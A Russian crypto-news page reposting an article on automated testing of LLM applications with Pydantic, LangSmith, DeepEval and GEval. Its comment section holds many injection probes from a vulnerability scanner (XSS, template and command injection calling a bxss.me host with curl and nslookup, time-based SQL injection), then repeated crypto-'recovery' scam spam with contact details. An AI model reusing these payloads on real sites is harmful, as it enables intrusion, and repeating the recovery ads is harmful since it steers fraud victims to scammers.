Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

Как ухватить LLM за хвост: эффективные стратегии тестирования AI-моделей

Как убедиться, что ваша LLM не выдаст полную чепуху в самый неподходящий момент? Как проверить, что она действительно понимает контекст, а не просто генерирует красивые, но бессмысленные фразы? И самое главное — как сделать это эффективно, не тратя недели на ручную проверку тысяч ответов?

1c068d5043efbd89edb9b945d1227364.jpg

Введение

Сегодня технологии развиваются с огромной скоростью. Классические методы разработки уходят на второй план. Им на смену приходят большие языковые модели (LLM) и их приложения.

LLM уже меняют многие сферы жизни: медицину, образование, бизнес. Эти модели становятся мощнее и умнее с каждым днём.

Но перед нами встают новые задачи. Как правильно разрабатывать такие системы? Как тестировать их, чтобы они работали стабильно? Чтобы справиться с этим, нужны новые подходы и глубокое понимание LLM.

Давайте разберёмся, как эти модели работают и что ждёт нас в будущем.

Есть три главных столпа тестирования LLM:

  1. Пользовательский фидбэк: Самый очевидный, но запоздалый способ понять, работает ли ваше приложение. Ведь фидбэк возможен только после релиза. А если ошибки спрятаны до продакшна?

  2. Ручное тестирование: Трудозатратное занятие, способное исчерпать даже самую энергичную команду. О плюсах и минусах применения на практике вы, вероятно, уже знаете: субъективность и, увы, тоже ошибки.

  3. Автоматическое тестирование: Спасительная гавань для всех разработчиков LLM. Однако есть нюанс — оно все еще развивается, как и сами LLM, и всегда требует свежих подходов.

Для того, чтобы протестировать LLM автоматически, можно использовать разные инструменты:

  1. Классические тесты

  2. Готовые метрики

  3. Кастомные метрики

Классические тесты

Когда мы только окунулись в разработку приложений с LLM, мы начали с изучения Pydantic классов в Python. Да, Pydantic — это как волшебная таблетка для превращения хаоса ответов модели в нечто более предсказуемое и детерминированное. С их помощью можно настроить весь набор атрибутов, которые мы ожидаем увидеть.

Вот что можно настроить для каждого атрибута:

  • Название

  • Тип

  • Обязательность

  • Описание: как краткая заметка — зачем этот атрибут нужен.

  • Значение по умолчанию: если атрибут не обязателен

Пример класса:

class Appointment(BaseModel):
    time: str = Field(..., description="Date and time of meeting in format YYYY-MM-DDTHH:MM:SS")
    duration: int = Field(description="Duration of the meeting in minutes", default=60)
    title: str = Field(..., description="Meeting title in format: Interview [Name Surname] (of candidate)")
    description: str = Field(..., description=f"Link to the meeting in format: meeting/[name_surname] (of candidate)")

Что мы здесь видим? Все, что внутри этого класса, — это как указания модели о том, на что она должна целиться. Более того, можно подключить валидатор, который опять же проверит, соответствует ли ответ модели всем требованиям по ключам и типам.

Теперь о тестах. Чтобы обычные assert-тесты могли подтвердить, что ответ модели верен, вам нужно заранее знать, какой именно ответ ожидается. Например:

Представьте, вы хотите, чтобы модель разобралась, сколько животных у бабушки в сказке про трех гусей. Тогда вы опишете ответ модели вот так:

class ModelOutput(BaseModel):
    pets: int = Field(..., description='Number of pets')

Предположим, вы даете модели ввод 'Жили у бабуси три веселых гуся', и тогда ваш assert будет выглядеть так:

assert actual_output == ModelOutput(pets=3)

Звучит просто, да? Так можно оценивать не только числа, но и строки, если у вас есть представление, каким должен быть шаблон. Регулярные выражения — отличный способ справляться с проверками конкретных шаблонов.

Этот тип тестирования — настоящая выручалочка для начала работы с ЛЛМ. Но не забывайте: успех тут зависит от вашего мастерства в написании четких и подробных инструкций для ваших задач.

820b6e8e1f89ae216c9631fdab948dda.jpg

Тестирование базовыми метриками

Базовые метрики

Хотя тестирование LLM — это еще, по сути, совсем новая стезя, уже есть целый арсенал текстовых метрик, которые помогают разобраться, насколько качественно ваша модель справляется с задачами. Почему именно текстовые метрики? Да потому что текст — основа ответов LLM. Вот самые основные метрики, с которыми мы имели дело:

  • Саммаризация

  • Релевантность ответа

  • Правдивость

  • Галлюцинация

На самом деле, метрик для оценки текста огромное множество, и при желании можно подобрать что-то под любую задачу, используя готовые ресурсы. Но вот загвоздка: как внедрить их в тесты? Для этого мы нашли два основных фреймворка:

  • DeepEval

  • LangSmith Testing

Эти фреймворки — ваши верные помощники в тестировании LLM. Каждый из них имеет свои особенности и подходит для разных нужд.

LangSmith тестирование

LangChain и его огромное сообщество — пожалуй, самый популярный фреймворк для создания LLM приложений. Он стал для нашей команды основным инструментом для создания языковых цепочек, поэтому мы и начали тестирование с него. Но, надо признать, что все оказалось не таким легким и удобным, как мы надеялись.

Сначала расскажем о плюсах, которые мы обнаружили:

  • Возможность создания датасетов под конкретные задачи

  • Простота написания экспериментов для конкретных датасетов

  • Все эксперименты и датасеты сохраняются, что позволяет отслеживать динамику изменений

  • Если вы регистрируете свои цепочки и агенты в LangSmith, можно привязать датасет и эксперимент именно к конкретной цепочке

  • Возможность версионирования датасетов - позволяет тестировать все сохраненные версии вашего приложения

В общем и целом, это неплохой инструмент для тестов, если ваши задачи не слишком специфичны. Однако, мы столкнулись с рядом трудностей, которые решили не обходить стороной.

  1. Первая проблема — отсутствие возможности управлять датасетами из кода. Вы можете создавать датасеты и добавлять туда примеры, но вот удалять их или конкретные элементы автоматически не получится. Это значит, что если ваша команда работает с нескольких аккаунтов, каждому члену нужно вручную создавать или удалять датасеты перед запуском эксперимента. Если датасет уже существует, все элементы будут создаваться по-новой при запуске эксперимента, и статистика окажется искаженной.

  2. Следующая проблема - не поддержка асинхронности. При создании эксперимента:

evaluators = [
    LangChainStringEvaluator("cot_qa")
]

results = evaluate(
    chain.invoke,
    data=data,
    evaluators=evaluators,
    experiment_prefix=experiment_prefix,
)

Мы обнаружили, что в методе evaluate нужно явным образом вызвать цепочку через invoke. А что если ваша цепочка асинхронная? Менять асинхронность на синхронность ради тестов — такое себе удовольствие. Нам пришлось написать специальный враппер, чтобы обернуть ainvoke в синхронную функцию. Но и тут не обошлось без приключений. LangChainStringEvaluator создает свой event loop, который нужно перехватить, чтобы запустить цепочку.

Вот как нам в итоге удалось внедрить нашу асинхронную цепочку:

nest_asyncio.apply()
event_loop = asyncio.get_event_loop()

def sync_invoke_wrapper(inputs):
    try:
        result = event_loop.run_until_complete(chain.ainvoke(inputs))
        return result
    except Exception as error:
        raise error
  1. В LangSmith набор метрик достаточно ограничен. Полный список, конечно, можно найти в документации, но, по нашему мнению, этих метрик недостаточно, чтобы тестировать приложения с бизнесовой точки зрения. Можно протестировать качество текста, но это больше похоже на лингвистическую оценку и не более.

Если вам хватает представленных метрик, то этот метод вполне рабочий. Однако наша команда решила пока не использовать этот продукт на данном этапе его разработки.

DeepEval тестирование

Хотя DeepEval и не так популярен, как LangSmith, именно он стал нашим выбором в тестировании LLM.

Вот какие плюсы мы нашли в этом фреймворке:

  1. Поддержка датасетов.
    DeepEval, как и LangSmith, позволяет создавать датасеты. Но самое важное — в DeepEval вы можете полностью управлять ими прямо из кода. Все проблемы, о которых мы говорили в контексте LangSmith, здесь просто исчезают.

  2. Обилие готовых метрик.
    В DeepEval есть множество готовых метрик, что выгодно его отличает. В LangSmith метрики в основном оценивают текст с лингвистической точки зрения, что не всегда подходит для бизнес-задач. Метрики DeepEval больше ориентированы на оценку полезности ответа в конкретных кейсах.

    Правда, они работают корректно только в классических сценариях. Например, метрика для саммаризации будет адекватно оценивать только традиционные краткие пересказы. Если в саммари добавится анализ или что-то специфическое, метрика может вести себя нестабильно или вовсе не сработать.

  3. Простота написания тест-кейсов.
    В DeepEval легко писать тест-кейсы, поскольку их можно просто позаимствовать из документации для конкретной метрики. Однако - обращайте внимание, какие параметры она принимает. Чтобы понять, что именно передавать, стоит изучить описание, как метрика работает. Для достижения максимально точного результата нужно предоставить тест-кейсу полный контекст. Если ваша модель отвечает на вопрос, учитывая информацию откуда-либо кроме юзер промпта, этот информацию тоже обязательно передать в тест-кейс. Иначе ответ будет оценен как содержащий лишнюю информацию.

Если при использовании метрик DeepEval вы получаете неожиданно низкие оценки, попробуйте следующее:

  • Внимательно изучите ризон, которую дает метрика вместе с оценкой.

  • Если ризон указывает на нехватку контекста, попробуйте изменить или добавить параметры.

  • Если контекст полный, но оценка все еще не оправдывает ожиданий, попробуйте использовать кастомную метрику GEval.

0e01814a41352575763c064c4f729d1e.jpg

Более техническое сравнение двух фреймворков

(мы все погуглили за вас)

Фича

LangSmith

DeepEval

Мониторинг и отладка в продакшене

Поддерживает комплексно мониторинг и визуализацию данных в продакшене для оценки LLM. Предоставляет возможность отслеживать логи и добавлять тестовые данные

Не фокусируется на мониторинге продакшена, но интегрируется с существующими фреймворками для локального юнит-тестирования и анализа моделей

Создание и хранение датасетов

Поддерживает создание и хранение тестовых датасетов, что позволяет добавлять примеры из реального использования приложения

Работает с тестовыми датасетами для юнит-тестирования и гиперпараметрической оптимизации, но акцент больше на проверках конкретных случаев, чем на хранении

Метрики для оценки

Интеграция с Ragas для метрик верности, релевантности ответа и контекста. Помогает объяснять результаты этих метрик и делает их воспроизводимыми

Предоставляет набор метрик для оценки LLM-ответов, но с акцентом на гибкость и интеграцию с популярными ML-фреймворками для точечной оценки

Интеграция с другими системами

Хорошо интегрируется с LangChain для отладки и мониторинга цепочек, включая поддержку мультимодальных задач и сложных QA-пайплайнов

Открытая интеграция с популярными LLM и ML-фреймворками, позволяющая гибко подключать различные источники для проведения оценок и тестов

Автоматическое тестирование

Фокусируется на непрерывном автоматическом тестировании в продакшене с помощью платформы

Поддерживает автоматическое тестирование моделей и их конфигураций, но больше заточен на оффлайн-проверки и оптимизацию в разработке

Выбор за вами!

Тестирование кастомными метриками

GEval метрики

В процессе работы с LLM мы поняли, что тестирование моделей с точки зрения бизнес-ценности - не такое уж и очевидное дело. Классические тесты и готовые метрики не всегда подходят.

Вот, например, простой сценарий: проверка языка ответа модели. Если модели подается системный промпт и контекст на английском, а вопрос пользователя может быть на любом языке, есть вероятность, что модель ответит на английском, даже при явной инструкции "ответить на языке пользователя". Визуально это проверить легко, но что делать, если запросов тысячи? Здесь на помощь приходят кастомные метрики GEval.

Что вообще такое GEval?

GEval — это метрика из набора DeepEval.

Она оценивает ответ модели по заданным вами критериям, выставляя скор от 0 до 1. В отличие от готовых метрик, где критерии уже прописаны, здесь вы можете задавать свою логику оценки. Хочется проверить язык ответа? Или количество предложений? А может, стиль и тон общения? GEval даст вам такую возможность.

Как создать такую метрику?

Чтобы создать свою метрику, реализуйте её через класс GEval:

GEval(
    name="Имя вашей метрики",
    criteria="Критерии для оценки"
    evaluation_steps=[
        "Степ 1",
        "Степ 2",
        "Степ 3"
    ],
    verbose_mode=True,
    threshold=0.7,
    evaluation_params=[
        LLMTestCaseParams.INPUT,
        LLMTestCaseParams.ACTUAL_OUTPUT,
    ],
)

Можно использовать или критерий, или шаги (степы):

  • Критерий: модель сама распишет шаги оценки, исходя из критерия.

  • Шаги: вы прописываете последовательные действия, которые модель выполнит для выставления скора.

55ce0a8042f1e9e9e4d44097d40a0523.jpg

Что выбрать?

Когда мы только начали использовать GEval, мы использовали степы. Нам казалось, что это более чистый и последовательный подход. НО! Мы были не совсем правы. Изучив подробно официальную статью по GEval, мы поняли, что степы написать не так то просто, как кажется. Степы - это не просто последовательность действий, а четкая инструкция для модели, заставляющая ее действовать в рамках Chain of Thought.

Поэтому вот как мы рекомендуем работать с GEval:

  • Начните с критерия.

  • Посмотрите, как модель интерпретирует ваши требования в логах, и при необходимости корректируйте критерий.

  • Когда вы увидете степы, идеально подходящие под ваш кейс, просто скопируйте их и вставьте в evaluation_steps.

Такой подход даст вам наибольшую стабильность метрики, так как степы не будут генерироваться но-новому каждый запуск.

Как написать хороший критерий?

  1. Определите границы метрики:
    Что именно должно оцениваться? Не смешивайте проверку нескольких параметров в одной метрике.

  2. Определите идеальный ответ:
    Перечислите по пунктам, какой ответ вы ждете.
    Например, для рецепта: список продуктов, подготовка, шаги приготовления, варианты подачи.

  3. Пропишите критерий.
    Критерий должен описывать, каким должен быть эталонный ответ. Например:
    "Ответ написан на русском языке. Ответ связанный, последовательный, не содержит лишних предложений."

Какие параметры передавать в метрику?

Каждая метрика обязательно принимает input и output, чтобы установить связь вопрос-ответ. Дополнительные параметры могут включать контекст, ожидаемый ответ и так далее, исходя из вашего кейса. Это нужно для полного контекста оценки.

Что такое Threshold и как его выставлять

Threshold — это минимальный скор метрики, который считается успешным при прохождении теста. Проще говоря, это пороговое значение от 0 до 1, где ближе к 1 — значит лучше ответ модели соответствует заданным критериям.

Честно говоря, мы сами все еще разбираемся с этими значениями. Все дело в том, что одна нестабильная модель оценивает другую нестабильную модель. Так что, даже если ваш ответ идеален, не стоит рассчитывать на то, что он всегда будет получать заветную единицу.

Как же мы поступаем с этим threshold'ом?

Модель, кроме скора, всегда дает пояснение (ризон), где перечислены плюсы и минусы ответа. Если в ризоне нет указаний на недостатки, то и скор может считаться положительным.

Вот как мы определяем threshold:

  1. Создаем заведомо плохой ответ

  2. Пропускаем его через метрику и анализируем скор и ризон

  3. Постепенно улучшаем плохой ответ, следя за повышением скора

  4. Как только ответ достигает минимально приемлемого уровня для нашего кейса, фиксируем его скор

Этот скор и станет вашим ориентировочным threshold'ом.

Нам пока не удалось выработать четкое понимание того, как именно планировалось работать с threshold по задумке создателей фреймворка. Возможно, эта информация появится в документации со временем. Пока же, мы идем путем проб и ошибок и учимся на собственном опыте.

fe5eca497dd0df08fcb04fa4ab446cb0.png

Как выбрать подход

Выбор подхода — это, пожалуй, самая сложная и важная задача при тестировании LLM. Вот что мы обычно делаем, чтобы определиться:

  1. Пересматриваем accepts критерии:
    Возвращаемся к основным критериям, разработанным на этапе планирования продукта или истории.

  2. Выписываем конкретные требования:
    Определяем, каким стандартам должен соответствовать ответ модели, цепочки или агента.

  3. Прописываем способы проверки для каждого требования:
    Например, если требования к ответу:

    • json с ключами name, age, hobbies

    • имя должно быть в им. падеже с заглавной буквы

    • возраст должен быть целым положительным числом

    • хобби должны быть листом со строками

    • все пункты должны быть правдивыми и соответствующими поданному на вход тексту

    • хобби должны включать все перечисленные к тексте

    • содержание ключей должно быть на языке запроса

    То способы тестирования каждого пункта будут:

    • json с ключами name, age, hobbies - простой тест на соответствие объектов

    • имя должно быть в им. падеже с заглавной буквы - кастомная метрика

    • возраст должен быть целым положительным числом - простой тест на тип

    • хобби должны быть листом со строками - простой тест на тип

    • все пункты должны быть правдивыми и соответствующими поданному на вход тексту - галлюцинация

    • хобби должны включать все перечисленные к тексте - кастомная метрика

    • содержание ключей должно быть на языке запроса - кастомная метрика

  4. После этого мы приступаем к реализации всех необходимых тестов, следуя правилам, описанным в предыдущих разделах.

Разбор реального примера

Мы хотим разработать цепочку, которая будет:

  • Принимать на вход детскую сказку

  • Анализировать сказу

  • Возвращать нам имя главного персонажа и его описание

И так, начнем с критериев, которые мы ожидаем от ответа:

  1. В ответе есть описание характера персонажа

  2. Описание характера пишется моделью на основе анализа сказки, оно не обязательно есть в самой сказке прямым текстом

  3. В ответе есть имя персонажа

  4. Имя персонажа пишется с большой буквы в им. падеже

Мы написали какой-то промпт модели и составили цепочку chain. Сначала пишем класс для формата ответа модели:

class Character(BaseModel):
    name: str = Field(..., description="Character's name in nom. case and capitalized")
    description: str = Field(..., description="Character description")

Теперь решим, какими методами будем оценивать каждый критерий ответа:

  1. классический тест на тип и не пустое значение

  2. кастомная метрика

  3. классический тест на тип и не пустое значение

  4. классический тест на соответствие значений

Напишем тесты для каждого критерия:

fairy_tale = "There is a goose Ivan. Ivan is a very communicative goose"


#Check that class has NAME and DESCRIPTION present and not empty
def test_output():
    result: Character = chain.invoke({'fairytale': fairy_tale})
    assert result.name
    assert result.description


#Check that NAME and DESCRIPTION are strings
def test_output_types():
    result: Character = chain.invoke({'fairytale': fairy_tale})
    assert isinstance(result.name, str)
    assert isinstance(result.description, str)


#Check that character description is relevant with fairy tale
def test_character_description():
    result: Character = chain.invoke({'fairytale': fairy_tale})
    description = result.description

    metric = GEval(
        name="Character description corectness",
        criteria="Check that the character description is correct and matches the text of the fairy tale",
        verbose_mode=True,
        threshold=0.7,
        evaluation_params=[
            LLMTestCaseParams.INPUT,
            LLMTestCaseParams.ACTUAL_OUTPUT,
        ],
    )

    assert_test(
        test_case=LLMTestCase(
            input=f"Fairy tail: {fairy_tale}",
            actual_output=description
        ),
        metrics=[metric]
    )

#Check that name is correct and in nom. case and capitalized
def test_name():
    result: Character = chain.invoke({'fairytale': fairy_tale})
    name = result.name
    assert name == 'Ivan'

Ссылка на колаб с кодом

Threshold тут выставлен 0.7 - для примера. В реальных тестах используйте логику выставления, о которой мы рассказывали, или же пробуйте свою!

Вот и все! Теперь ваши приложения надежно защищены тестами, которые можно обновлять и добавлять, и при этом - всегда следить за их зеленым цветом!

5e1f08e7a57b16e280f93e26f78e23e6.png

Эта статья была подготовлена под руководством @pletinsky. Выражаем особую благодарность за помощь в создании материала.

English version of this article is available here.

Если хотите погрузиться поглубже

Официальные документации фреймворков: LangSmith testing, DeepEval

Документация GEval: GEval

Статьи про тестирование: Testing of LLM models, Evaluating Outputs , How to Test LLM Applications

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

